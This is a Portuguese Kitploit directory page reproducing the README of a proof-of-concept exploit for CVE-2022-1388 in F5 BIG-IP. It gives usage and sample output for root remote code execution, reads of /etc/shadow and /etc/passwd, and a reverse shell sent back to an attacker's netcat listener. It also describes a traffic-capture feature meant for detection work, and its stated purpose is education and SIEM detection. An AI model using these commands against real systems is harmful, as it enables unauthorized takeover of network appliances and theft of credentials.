Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-1388 — -- APENAS PARA USO EDUCACIONAL -- Prova de conceito de RCE para CVE-2022-1388, além de funcionalidades adicionais para blue e red teams. | Kitploit
Ferramentas/GitHubGitHub/vaelwolf/cve-2022-1388
Sniffing e Análise de PacotesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAnálise ForenseTestes de PenetraçãoAprendizado e Educação
GitHubvaelwolf/cve-2022-1388

CVE-2022-1388

-- APENAS PARA USO EDUCACIONAL -- Prova de conceito de RCE para CVE-2022-1388, além de funcionalidades adicionais para blue e red teams.

Ver Repositório
71há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-1388 RCE, Reverse Shell e Exportação Automática de PCAP

-- APENAS PARA FINS EDUCACIONAIS --

O autor não é responsável, nem pode ser responsabilizado, por quaisquer ações realizadas com qualquer aspecto deste projeto/repositório. Criei isto com o objetivo de entender o ataque, bem como de escrever detecções dentro de um SIEM, e quis compartilhar para que outros façam o mesmo. Use por sua conta e risco.

Este exploit tem como alvo a vulnerabilidade CVE-2022-1388 no BIG-IP iControl REST da F5 Systems. Consulte o aviso da F5 (https://support.f5.com/csp/article/K23605346) para ver as versões afetadas e outras informações.

Sinta-se à vontade para abrir um PR ou relatar quaisquer problemas. Foi testado em algumas F5 VE vulneráveis no Google Cloud a partir de uma máquina CentOS com Python 3.6.

Uso

root@kitploit:~
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]

optional arguments:
  -h, --help            show this help message and exit
  
  -t TARGET, --target TARGET, --RHOSTS TARGET
                        Target IP of vulnerable BIG-IP system
  -p PORT, --port PORT, --RPORT PORT
                        Target port on vulnerable BIG-IP system
  -c CMD, --cmd CMD, --command CMD
                        Command to run on target system
  -e, --export, --tcpdump
                        Export captured traffic and ssl-key.log | **Requires sudo privileges!
  -q, --quiet           Don't display banner
  -s, --shell           Launch an interactive shell
  -lh LHOST, --lhost LHOST, --LHOST LHOST
                        Required for -s [shell]; Local IP/interface to bind listener to
  -lp LPORT, --lport LPORT, --LPORT LPORT
                        Required for -s [shell]; Local port to bind listener to

Execução Remota de Código

root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
       Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]

Reverse shell

root@kitploit:~
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
        Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...

[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
 
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root

Exportando um PCAP para análise

Especificar a flag -e (--export) criará dois arquivos: detection.pcap e ssl-key.log. Esses arquivos serão sobrescritos toda vez que a flag -e for especificada, então lembre-se de mover ou renomear os arquivos que deseja manter. O ssl-key.log pode ser importado no Wireshark via Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename para descriptografar a sessão TLS. Observe que, por causa do tcpdump, ao usar -e, o script deve ser executado como sudo.

root@kitploit:~
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]

Antes da descriptografia TLS:

Wireshark 01

Adicionando o ssl-key.log exportado automaticamente às preferências de TLS no Wireshark:

Wireshark Preferences

Depois da descriptografia TLS:

Wireshark 02 Wireshark 03
Baixar ferramenta